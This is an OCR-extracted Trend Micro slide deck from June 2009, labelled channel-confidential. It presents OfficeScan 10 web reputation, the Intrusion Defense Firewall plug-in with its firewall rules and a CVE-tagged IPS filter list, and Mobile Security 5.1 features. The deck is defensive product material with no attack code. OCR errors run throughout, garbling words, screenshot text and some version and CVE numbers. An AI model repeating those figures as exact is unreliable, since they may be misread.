| E Suspected to be fraudulent or possible sources of threats

E Associated with spam or possibly compromised

| E Unrated

Blocks pages that are:

E Werified to be fraudulent or known sources of threats

E Suspected to be fraudulent or possible sources of threats

) Low Blocks pages that are:
E verified to be fraudulent or known scurces of threats

Use the approved URL list to specify URLs that you consider safe and should not be blocked by OfficeScan. To configure the list, go to Global Client Settings > Web Reputation

Approved URL List.

Please use the following link to notify Trend Micre of any URL you think has been misclassified:

> http://reclassify.wrs.trendmicro.com/wrsonlinequery.aspx

Web Reputation Settings Help  —

m

9
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OfficeScan 10 Web Reputation :

#

‘€ URL Blocked - Windows Internet Explorer =N e >
@ O 7 |ﬁ, http:/fwww.travelpolicy.com/ - ‘ +4 | » | | o Fomman 0 v|
W [@ummocked ]_\ - v g v b Page v {} Tools v

s

Trend Micro OfficeScan Event

URL Blocked

The URL that you are attempting to access is a potential security risk. Trend Micro OfficeScan
has blocked this URL in keeping with network security policy.

LRL: hitp:ifwww travelpalicy.com/

Solution:  Reportthe URL to your OfficeScan administrator if you think it is safe to access.

Browser Trend Micro OfficeScan 8.0

Done OfficeScan Metification Message

TREND MICRO™OfficeScan™

QfficeScan detected a'Web security policy wviolation and blocked the URLz] izted below,

Cllent pOpUp Mumber of instances: 1

Date/Time | URL |
B.3.200311:03:34 http: /v travelpolicy. coms

Copyright 2009 - Trend Micro Inc.
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OfficeScan 10

 Windows Server 2008 Support

— OfficeScan client and OfficeScan management server are fully
supported on Window Server 2008 (excluding server core and
Hyper-V for now)

— Windows Server 2008 (Standard, Enterprise, Datacenter and
Web Editions), 32-bit and 64-bit versions

i Trend Micro Channel Confidential 1 “June-2009 | “48 i Copyright 2009 - Trend Micro-Inc. o’



OfficeScan™ Client/Server Edition 10.0

« OfficeScan™ provides a revolutionary new defense
against threats—both on and off the corporate network—
combining world-class anti-malware with innovative in-
the-cloud protection from the Trend Micro Smart
Protection Network. New File Reputation moves the
burden of pattern file management into the cloud, freeing
endpoint resources. And Web Reputation protects
endpoints by blocking access to malicious sites.

« Available in solution suites, OfficeScan now offers a
single solution to protect desktops, laptops, servers,
storage appliances, and smartphones. A flexible plug-in
architecture, virtualization, and extended platform
support ensure better security, lower management costs,
and more flexibility to evolve your security.

¢®) TREND.

i Trend Micro Channel Confidential 1 “June-2009 1 49 i Copyright 2009 - Trend Micro Inc.



OfficeScan 10.0 Demo
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OfficeScan Plug-in Architecture

Select the security you want to deploy, when, and where

« Easily add new modules, as needed
— As soon as new technologies become available
— At any time your needs change

«  Extends your solution lifecycle
«  Protects your investment

* No need to rip-and-replace to be protected

File & Folder HIPS & Mobile Security for Virtualization
Anti-malware Encryption Vulnerability shielding ~ Security Macintosh Security

MODULAR PLUG-IN ARCHITECTURE

) TREND

i Trend Micro Channel Confidential 1 “June-2009 1 51 i Copyright 2009 - Trend Micro Inc. e’



OfficeScan Plug-in Architecture :

#9) TREND,
i MICRO

Current server: fn-server-01

OfficeScan™ 8 root & Loa off | ) —— —

Scan Now

Plug-in Manager i@ Help

Update Server Now

Summary

Security Compliance

+ Networked Computers

+ Smart Scan

+ Updates

+ Logs

Plug-in Manager facilitates the installation. deployment and management of plug-in programs, which, along with new product versions, are designed
to add new features and security capabilities into OfficeScan, and enhance the product's performance.

OfficeSean 10 and 8.0 Service Pack 1 support Plug-in Manager. The minimum Plug-in Manager version compatible with OfficeScan is 1.0 Patch 1 (buwild
1.0.2092).
The latest version is 1.0 Patch 2 (build 1.0.2157). Upgrade Plug-in Manager if you have an earlier version running.

Important: Plug-in Manager and the plug-in programs cannot be managed from the Trend Micre Contrel Manager management console.

Current version: 1.0.3157

+ Cisco NAC

Intrusion Defense Firewall

+ Notifications

+ Administration

+ Tools

Plug-in Manager

. TREND MICRO™
! SMART

#/] . PROTECTION
' NETWORK

Intrusicn Defense Firewall is an advanced, host-based intrusion defense system that brings proven network security approaches, including firewall and
intrusion detection and prevention, down to individual networked computers and devices. Intrusion Defense Firewall has been architected for
enterprises that recognize the need to further enhance their security posture to protect mission critical IT assets from known and zero-day attacks.
Before installing this plug-in program:

a. Ensure that the Flug-in Manager version is 1.0.3033 or later. Pleasea upgrade Plug-in Manager first if its version is earlier than 1.0.3033.

b. Read the installation guide and release notes. Click here to download these documents.

Current version: 1.1.2508 Uninstall

[ % Manage Program

Anti-malware

Trend Micro Mobile Security

. P e [ PR |
AP & IVIODIIE
Trend Micro Mobile Security for Enterprise v, 1_ |||:wu5 the i eE‘u:Em serverto manage Mobile Device Agents installed on mobile devices. Deploy and
manage clients and generate %@ﬁa‘bﬂ ole. %@ewi fgent protects data stored on mobile devices and encrypts

data before transmission to ensure secure comm nu:atlcm Wlth
from infecting mobile devices.

e award-winning malware scan feature, Mobile Device Agent prevents malwares

Current 5.1.1077

[ & Manage Program ]

MODULAR PLUG-IN ARCHITECTURE

Trend Micro Channel Confidential
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Intrusion Defense Firewall

Intrusion Defense Firewall (IDF)
« Designed to protect corporate desktops & laptops
* Implemented as an OfficeScan 8.0 and 10.0 Plug-in

« Consists of two components

— IDF Manager Plug-in
— IDF Client Plug-in

Lo MICRDO
OfficeScan 8.0/10.0
Intrusion Defense Firewall

Desktop & Laptop Protection
OfficeScan Plug-in

¢®) TREND.
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IDF Leverages OfficeScan
plug-in architecture

3 Trend Micro OfficeScan - Microsoft Internet Explorer

Fle Edt Wiew Favorites Took Help

QBack * ) - [x] [2] (8]0 search sFavortes & | (0 o B}
=

Adrress [&] utpsijjosc

gijcg
J Aﬂ_’ﬁENU MICRO"OfficeScan™ 3 - @I'.‘E'."!
Q ] [ client tree view [Updste view =] |
@ sHstatus [E[Tasks v [F)settings v Tilogs v EaManage Client Tree v [#Export
(& Office5ean Server Computer [P Address [ Connectio... | o] Ul ér. |
Surnrnar: Y B I%'J |_OS(E'E[I'3B 10.0.1.193:21112  Online 86

Networked Computers
Client Management
Glabal Client Settings
Web Reputation

0 | |
[ [ [ |5 [S3Local intranet
B eseam

Internet

Intrusion Defense Firewall

|s deployed on top of
OfficeScan — no reinstall

fficeScan 8.0/10.0 Console

Trend Micro Channel Confidential
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Intrusion Defense Firewall

 Enhanced OfficeScan End-point Security

— Enhanced firewall capabilities
« Stateful bi-directional firewall
* Includes pre-defined Windows security profiles

— Intrusion Detection and Prevention
* Protect against both known and unknown attacks
« Shield systems until they can be patched
« Detection only / Detection and Prevention

— Centralized Management
« Dashboards, logging, reports, threat tracking
« Deployment, updates, configuration

i Trend Micro Channel Confidential i June-2009 i 55 i Copyright 2009 - Trend Micro Inc. e
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Enhanced firewall capabilities ;

:.‘l;}-' Firewall Rules (By Action Type =)

Frame Type Protocol  Source IP

ICMP Any
Allow solicited TCP/UDP replies 0-Lowest  Incoming IF TCP+JIDP Any Any Any
ARP 0-Lowest  Incoming ARP /A /A Any /A
ﬂ Domain Client {TCP) 0-Lowest  Incoming IF TCP Domain Control... Any Domain Control...
IDEMT 0 -Lowest  Incoming P TCP Any Any Any
Intrusion Defense Firewall Server Plug-n 0 -Lowest  Incoming P TCP Any Any Any
IPSec Authentication 0-Lowest  Incoming IF Other: 51 Any Any /A
ﬂ IPSec Encryption 0-Lowest  Incoming IF Other: 50 Any Any /A
ﬂ IPSec IKE 0-Lowest  Incoming IP UDP Any Any Any
OfficeScan Server 0 -Lowest  Incoming P TCP Any Any Any
ﬁ Remote Access RPC 0 - Lowest Incoming Ip TCP Any Any Any
Remote Access S5H 0 - Lowest Incoming IP TCP Any Any Any
ﬂ Wireless Authentication 0-Lowest  Incoming Other: 838E NfA /A Any /A
B Deny (1)
ﬂ Deny Spoofed 4 -Highest  Incoming IF Any Ingress Filters ... Any /A

B Force Allow {11)

DHCP Client 2-Mormal  Incoming P LDP Any Any DHCP Server (67)
ﬁ Damain Client (UDP) 2-Mormal  Incoming izl LDP Domain Control... Any Domain Contral...
ICMP Echo Request 2-Mormal  Incoming IF ICMP Any Any /A

ﬂ MetBios Name Service 2-Mormal  Incoming IF LDP Any Any MetBios - ns (137)
ﬂ Metwork Time Protocol 2-Mormal  Incoming IF LDP Any Any Any

OfficeScan Client (Incoming) - Port 60606 4 -Highest  Incoming P TCP Any Any Any

ﬁ OfficeScan Client (Outgoing) - Port 60606 4 - Highest  Outgoing P TCP Any Any 0606

Windows File Sharing 2-Mormal  Incoming IF TCP+JIDP Any Any Any

ﬂ WINS 2 - Mormal Incoming IP TCP+HUDP Any Any Any

WINS Registration 2 - Mormal Incoming P TCP+UDP Any Any Any

WINS Replication 2-Mormal  Incoming P TCPHIDP Any Any Any

June-2009 56 i Copyright 2009 - Trend Micro‘Inc.
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Enhanced firewall capabilities

Firewall Rule Pmperﬁﬁ”[)pﬁons”ﬂssimedTo |
General Information Port List Properties | | Agzigned To |
Mame:
S General Information
Description: Allow file sharing traffic -
Mame: indows File Sharing
Action: Force Allow miy Description: Ports used for Microsoft Windows file sharing =
Priarity: 2 - Mormal - -
Packet direction:  Incoming -
Frame Type: | IP - Mot Port(s): (One port or port range per ling)
e o 137 -
Protocol: TCP+DP - Mot
B n 138
138 # Methios ports
Packet Source 445 #5MB
IP: Any - |
MAC: Any - | = -
Port: Any - L
Supported Formats:
Packet Destination Port:
I8 Any - [l X Example: 30
MAC: Any - ] Range:
XY E : 20-21
Port: Port List: ~  Windows File Sharing ~ | Edit | Mot -
Comments:
Specific Flags Port #Comment Example: 80 #HTTP
Any Flags
Clure [l ack Clest Clrst Dl sw [ | 00 ot
Ok
o [ ) oy | | J J[ Apply |
. . . _ | f®) TREND,
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Intrusion Detection and Prevention

¢ IPS Filters (By Issued ~)

Priarity

Severity

Mode

1AAAARAARAAAAARAARARAARAA AR A

: |

AR A

Trend Micro Channel Confidential

B March 10, 2009 (27)

1000341 - Microsoft Windows Server ...
1000343 - Microsoft Windows Flug an...
1000391 - Microsoft Windows Flug an...

1000813 - M5 Windows Messenger Se...
1000372 - Microsoft Windows svect C...
1003249 - MW6 Barcode ActiveX Barc...
1003267 - Microsoft Internet Explorer...
1003273 - Mozilla Firefox JavaScriptE...
1003274 - Mozilla Firefox Memary Cor...
1003275 - Easy Grid ActiveX Arbitrary...
1003276 - Synactis ALL In-The-Box Ac...

1003277 - Mokia Phoenix Service Soft...
1003280 - Free Download Manager .t...

1003281 - Tashiba Surveilance Surveil...

1003282 - JamDTA ActiveX Control 'S...

1003283 - IDAutomation Barcode Acti...

1003284 - McAfee Viruscan GetlzerR...

1003285 - McAfee Security Center Mc...

- LinkedIn Browser Toolbar A...

Windows Services RPC Server
Windows Services RPC Server
Windows Services RPC Server
Windows Services RPC Server
Windows Services RPC Server
Web Client Internet Explorer
Web Client Internet Explorer
Web Client Mozilla FireFox
Weh Client Mozilla FireFox
Weh Client Internet Explorer
Web Client Internet Explorer
Web Client Internet Explorer
Web Client Common

Web Client Internet Explorer
Web Client Internet Explorer
Web Client Internet Explorer
Web Client Internet Explorer
Web Client Internet Explorer

Weh Client Internet Explorer

1003289 - Apple Munes/QuickTime Mal... Web Client Comman
1003291 - Adobe Acrobat And Reader... Web Client Comman
1003292 - Block Conficker.B++ Worm ... Windows Services RPC Server
1003293 - Block Conficker.B++ Worm ... Windows Services RPC Client
1003300 - FathFTP ActiveX Contral 'D... Web Client Internet Explorer
1003309 - Microsoft Excel Unspedified... Microsoft Office
1003328 - Disallow Intra-Site Automat.., DNS Client
1003329 - DNS Server Response Valid... DMS Client

i i
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2 - Mormal
2 - Mormal
2 - Mormal
2 - Mormal
2 - Mormal
2 - Mormal
2 - Mormal
2 - Mormal
2 - Mormal
2 - Mormal
2 - Mormal
2 - Mormal
2 - Mormal
2 - Mormal
2 - Mormal
2 - Mormal
2 - Mormal
2 - Mormal
2 - Mormal
2 - Mormal
2 - Mormal
2 - Mormal
2 - Mormal
2 - Mormal
2 - Mormal
2 - Mormal

2 - Mormal

@10 High
@@ Critical
& Medium
10 High
Low
@@ Critical
10 High
W Critical
W Critical
0 Medium
T Medium
& Medium
W Critical
0 Medium
T Medium
T Medium
& Medium
0 Medium

@@ Critical
W Critical
T® Critical
0 Medium
T Medium
0 Medium
& Medium

Prevent
Prevent
Prevent
Prevent
Prevent
Prevent
Prevent
Prevent
Prevent
Prevent
Prevent
Prevent
Prevent
Prevent
Prevent
Prevent
Prevent
Prevent
Prevent
Prevent
Prevent
Prevent
Prevent
Prevent
Prevent
Prevent

Prevent

Vulnerability
Vulnerability
Vulnerability
Vulnerability
Vulnerability
Explait
Explait
Exploit
Exploit
Explait
Explait
Exploit
Exploit
Exploit
Explait
Explait
Exploit
Exploit
Exploit
Explait
Vulnerability
Exploit
Exploit
Exploit
Explait
Smart

Smart

Copyright 2009 - Trend Micro Inc.

CVE-2005-1206
CVE-2005-1983
CVE-2005-2120
CVE-2003-0717
NJA
CVE-2009-0298
CVE-2009-0075
CVE-2009-0353
NJA
NJA
NJA
N/A
CVE-2009-0154
NJA
NJA
NJA
N/A
NJA

NJA
CVE-2009-0658
CVE-2005-4250
CVE-2008-4250
NJA
NJA
CVE-2009-0093
CVE-2009-0234




Intrusion Detection and Prevention

Smart - One or more known and unknown (zero day) vulnerabilities
Exploit - An exact exploit, usually signature based
Vulnerability - A specific vulnerability for which one or more exploits may exist

IPS Filter Properties || Vulnerability || Configuration || Options || Assigned To |

Vulnerability Information

IPS Filter Properties || Vulnerability || Configuration || Options || Assigned To |

Vulnerability Information

LinkedIn Browser Toolbar ActiveX Control Buffer Overflow
Vulnerability

Mogzilla Firefox JavaScript Engine Memory Corruption Denial
Of service

Date Reported: February 4, 2009

m

Date Reported: July 24, 2007

Type: Input Validation Buffer Overflow Type: Other
Severity: I8 (Critical) Severity: IW (Critical)
Description: Description:

Buffer overflow in the IEToolbar. [EContextMenu. 1 ActiveX control in
LinkedInIEToolbar.dll in the LinkedIn Toolbar 3.0.2.1098 allows remote
attackers to execute arbitrary code via a long second argument

Unspecified vulnerability in Mozilla Firefox 3.x before 3.0.6, Thunderbird
before 2.0.0.21, and SeaMonkey before 1.1.15 allows remote attackers
to cause a denial of service {memory corruption and application crash)

or possibly execute arbitrary code via vectors related to the JavaScript

(varBrowser argument) to the search method.

engine.
Solution: )
Apply this filter. Sulutm_r:
Apply this filter,
External References:
CVE 2007-395% External References:
CVE 2009-0353

Secunia 26181

Bugtraq 25032 Bugtraq 33598

Secunia 33816
Secunia 33809
Secunia 33808
Secunia 33799
Secunia 33869
Secunia 33846
Secunia 33841 -

Vulnerable Software and Versions:
Microsoft IE Toolbar 3.0.2, 1098

Cancel Apply

ok [ coneal ) &
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Blended Protection

Malware

P o
FIET
ST /

Internet
\‘w\/

ﬁ ¢ Internet ﬁ
-

w\/

June-2009
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f

S —

=
B

Handle “Unknown”
(Smart/Custom Filters)

Stop / Neutralize Unknown Bad
or Known Vulnerability
(Vulnerability Filters)

Stop Known Bad
(Exploit/Attack Filters)

Copyright 2009 - Trend Micro Inc.

#®) TREND.
-’ MICRDO
Intrusion
Defense

} Proactive

y Reactive




AR R R 1]

Centralized Management ;

'.-. Scan MNow m Dashboard

_ B[, Monitoring
H Update Server Now EIE Computers
Fﬁ Idfaptops
{2 Tmaptops omputer: All Computers
Fﬁ Tm-servers

IE‘ Dashboard (24 Hour View ~)

Summary

Networked Computers | | ™ il workgroup Alert Status x Computer Status *®

-

% Security Profiles

v Updates . B
B B3 Firewall Rules Current Alerts: W Critical: 0 [ Warning: 1

* Logs | Stateful Configurations Latest Alerts: Ago

» Cisco NAC ﬁ IPS Filters [] Recommendation - F... Februar...

» Motifications H"tgmenf T

— - ication Types

» Administration ﬁ IP Lists

» Tools gl MAC Lists
-t Port Lists 0 VAL J
@ Schedules =

Plug-in Manager EI".!}; System Alert History x

- Alert Configuration
{2 Scheduled Tasks L]
@ Settings ] Alert Severity:
¥ Updates = W Critical
""L'l.‘:p Product License ] Warning

16:00 1200 2200 01:00 0400 O0OV:00 10:00 1300

Hour
e 4
System Event History b4
E 9 4 Event Type:
2 o M Error
mmm s . warring

16:00 1900 2200 01:00 0400 O7:00 10:00 13:00 B Info
Hour
< v
Firewall Activity (Prevented) x Firewall Computer Activity (Preve...
Top Reasons For Prevented Packets: Top Computers for Prevented Firewall Events;
Qut Of Connection 139 & FN-VEEPEE-02 174 &
Dropped Retransmit 25 &
Out Of Allowed Policy g9 &
Maximum ACK Retransmit 1a
< A v
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Intrusion Defense Firewall 1.1

* As a plug-in for OfficeScan 8.0/10.0, Intrusion Defense
Firewall provides earlier, stronger endpoint protection by
supplementing highly effective OfficeScan client-level security
with network-level Host Intrusion Prevention System (HIPS).

* A high-performance, deep-packet inspection engine monitors
Incoming and outgoing traffic for network protocol deviations,
suspicious content that signals an attack, or security policy
violations. Intrusion Defense Firewall shields vulnerabilities
from being exploited before patches can be deployed to
business-critical and hard-to-patch systems.

« Together with Intrusion Defense Firewall, OfficeScan provides
one of the industry’s most secure platforms for protecting end
users, whether they are on the network, mobile, or remote.
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Trend Micro Mobile Security 5.1

Comprehensive, all-in-one mobile security

o State-of-the art Anti-Malware

Firewall and Intrusion Detection
 In-place data encryption

 Remote wipe

 Powerful authentication
« SMS and WAP security

« Scalable enterprise-class central management
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The Mobile Security Challenge ;

( )

- Protect confidential data I
against loss or theft

\ J/

.

4 N\

- Feature lock capabilities

- Ensure device integrity

(data at rest / data in motion) b

J

?

(> Encryption/remote wipe )
to protect sensitive data
in the event of loss or

\ J/

s

- Limit device downtime &

4 )

compliance to match theft . y
corporate policies )
) )\ g Firewall/IDS to prevent

( hacker intrusion

?
Anti-malware to stop

- Manage security for
multiple devices across
different networks

N I g viruses, spyware, and
[ . h SMS spam
- Manage devices and D * g
functions of Centralized )
smartphones management for
G J

smartphones and PDAsS |

¢®) TREND.
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Real-time Scan
Manual Scan
Card Scan
Scan Options:

— Actions: Quarantine, Delete

Trend Micro Mobile Security 5.1 Antivirus

— File type: exe and cab/zip, only exe, all files.
— Scan layers: 1/2/3.

f' | Mobilg Security

o < 11:524 [ok

Last update:
Mo previous updates

Days until expiration:
30 dayis)

Real-time scan: Enzbled

Firewall: Mediurm

f) TREND. Mobile Security

4D

Al rights reserved,

Update ]

Trend Micro Channel Confidential
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Menu
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I
Iy | Manu;l LET

Files scanned: 221
Suspicious files: 2
Files not scanned: 2

1‘" I Mobile Security

Scan Options

o V)| 4¢ lok

[Enable real-time scan|

Risk Name

4lavel.zip |Quarantine 'l
2P WINCE_TEST F... Infected file.exe Enable card scan
ﬁWINCE_TEST_F... Virus.txt -
&Unscannable Slevel.zip File types to scan:
[Al Files ~|
CAB/ZIP layers to scan:
B ~|
Done B Menu Done iz Menu
. "
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Trend Micro Mobile Security 5.1 Firewall

« Stateful inspection firewall protects against hackers & intrusions
— Includes Intrusion Detection System (IDS)
* Predefined security levels deliver simplicity
— Low — Allows all inbound & outbound traffic
— Medium — Allows all outbound traffic, blocks inbound
— High — Blocks all inbound & outbound traffic
« Customizable firewall rules for specific ports & IP addresses
— Rules can be prioritized/ordered when impacting same port/address

;[' I Mobile Security

47 44.
i /5 | Mobile Security & < 11:55 ok / | Mobile Security < Til 4% ok
Firewall Options Firewall Rule List Rule Details B
Enable firewall Rules are processed based on their order in Name:
the list. Once a rule is matched, all
Enable IDS subsequent rules are ignored. | | =
Protection Level: Name Action Status Status:
, ° , DNS Allow Enabled |Enabled ~] |
Low Medium High HITPS Allow Enabled Action:
HTTP Allow Enabled
Details: Telnet Allow Enabled |A”°W '|
_Stealth mode SMTP Allow Enabled Direction:
-All outbound traffic allowed E(I;FF)’B 2::0"" EnaE:eg |Both v|
-All inbound traffic blocked ow hable -
UPNP Allow Enabled Protocol:
[ setruelist | [Tcpiupp ~]
Port(s): (|
Done R Menu Done S Menu Done ] Menu
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Real-time in-place Encryption
Secure Data on mobile devices

« For certified Windows Mobile 5/6 devices and
now also on Nokia Symbian Devices E60, E61i, E70, E9O!

 Automatically encrypts admin-selected file types

— No user intervention required

— No circumventing encryption

— No need for encrypted "containers”
« Completely transparent to the end-user

— No end-user training required

— No decision on what data to encrypt
 FIPS 140-2 validated algorithms

— AES 128-bit, 192-bit and 256-bit

— Triple DES

 Encrypts device memory
and storage cards

Encryption Settings

Ercryption mathod: ARR12E =

Encrypkion ey i
¥ Enorypt Contacts, Mail, Tasks, Calendar for Windows Mobile 36 and Contacts, Mall, Calendar. Notes for Symbian 0F 9.c 560 :'!M Edition

¥ Emcrypt *.paw, *.pdf, *.doc, *.bct, *.xds, *.ppt. *.pxd for Windows Mobile 5/6 and Symbian OS5 9.x 560 3'd Editian

#9) TREND.
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TMMS 5.1 SMS Anti-spam

 Approved list

— Allow messages from numbers on this list, block all other
messages.

« Blocked list
— Block messages from numbers on this list, allow all other

messages.
« TMMS will move all blocked SMS messages to a Spam folder in
your inbox.
7 & | Mobile Security ot T, o= BH 7 2 | Mobile Security o Vo= BH
SM5 Anti-spam | SM5 Anti-spam |

SMS anti-spam option: SMS anti-spam option:
Disable anti-spam . =

Enable l:ulu:u:lc:e list

Enable approved list Blocked List:
Marne mHurnber
odd
Done E Menu Done E Menu

1 1 | | ”‘ T
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TMMS 5.1 WAP Push Protection

« WAP Push protection allows you to use a list of trusted
senders to filter WAP Push messages.

« The blocked messages will be deleted.

¥ e _ . " B
7 » | Mobile Security e ?x ok

WAP Push Protection

["]Enable protection|

Done E Menu

i Trend Micro Channel Confidential i June-2009 i 70
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i g | Mobile Security ¥ ?x ok

WAP Push Protection

[Enable protection|
Trusted senders list:

Marme MNurmber

Add

Done E Menu



TMMS 5.1 Feature Lock :

Enable/Disable Device Components ( Default )

Enable/Disable Device Components for Windows Mobile

[SkEnable All [ShDisable All

Feature

Bluetooth B Bluetooth Discowver
Infrared

LUSE storage

&

WLAN/WIFI

Serial
Speaker/speakerphone/microphone
Camera

Microsoft ActiveSync

MMS/SMS

Memory cards

BISIRISINIBIRIB ISR
=
i

&

GRS

[SkEnable All [ShDisable All

|:| Send notification messages to mobile devices after clicking 'Save’'.

| save | | cancel |
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TMMS 5.1 Remote Wipe

* Remotely wipe all data on the device

(ﬁ Mobile Security

m Dewvice Management

Device Management

"?_p Refresh . Help

Device name: | | or Phone number: |

Advanced search

Device tree view: | Status view

v

% Mahile 5¢l WPdate

B Defa Register

Sync Configuration

ﬂ Status Tasks Domain Policies E Logs * T:= Manage Device Tree™ Export

Trend Micro Channel Confidential

- | Phone Mumber | Domain | Componen. . . | Configurat. .. | Reqistrati. .. |
140010140107 DeFault o 2008-9,.. =, 2008-9.. gp 20089,
. . . f®) TREND,
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Trend Micro Mobile Security 5.1
Single Console Management for Endpoints

« Single console for endpoint security management
— Protects smartphones, PDAs, laptops, desktop, and servers
— Simplifies administration
— Reduces total cost of ownership

* Policy creation and deployment to all mobile devices
running Trend Micro Mobile Security
— Global policies " Treno wicRs orreesean
— Group policies N SE—
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Trend Micro Mobile Security 5.1

« Trend Micro Mobile Security protects smartphones and PDAs
from data loss, infections, and attacks. Encryption and
authentication defends data integrity and company reputation
when devices are lost or stolen. The anti-malware features
block viruses, worms, Trojans, and SMS text message spam.
Built-in firewall and Intrusion Detection System (IDS) protects
against hackers, intrusions, and denial-of-service attacks—
potential threats to the increasing number of Wi-Fi-enabled
mobile devices.

« With the included OfficeScan™ Client/Server Edition 8.0
console, IT managers can save resources by managing
security for smartphones, PDAs, desktops, servers, laptops or
any combination of these devices.
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Mobile Security 5.1 (Plug-in) Demo
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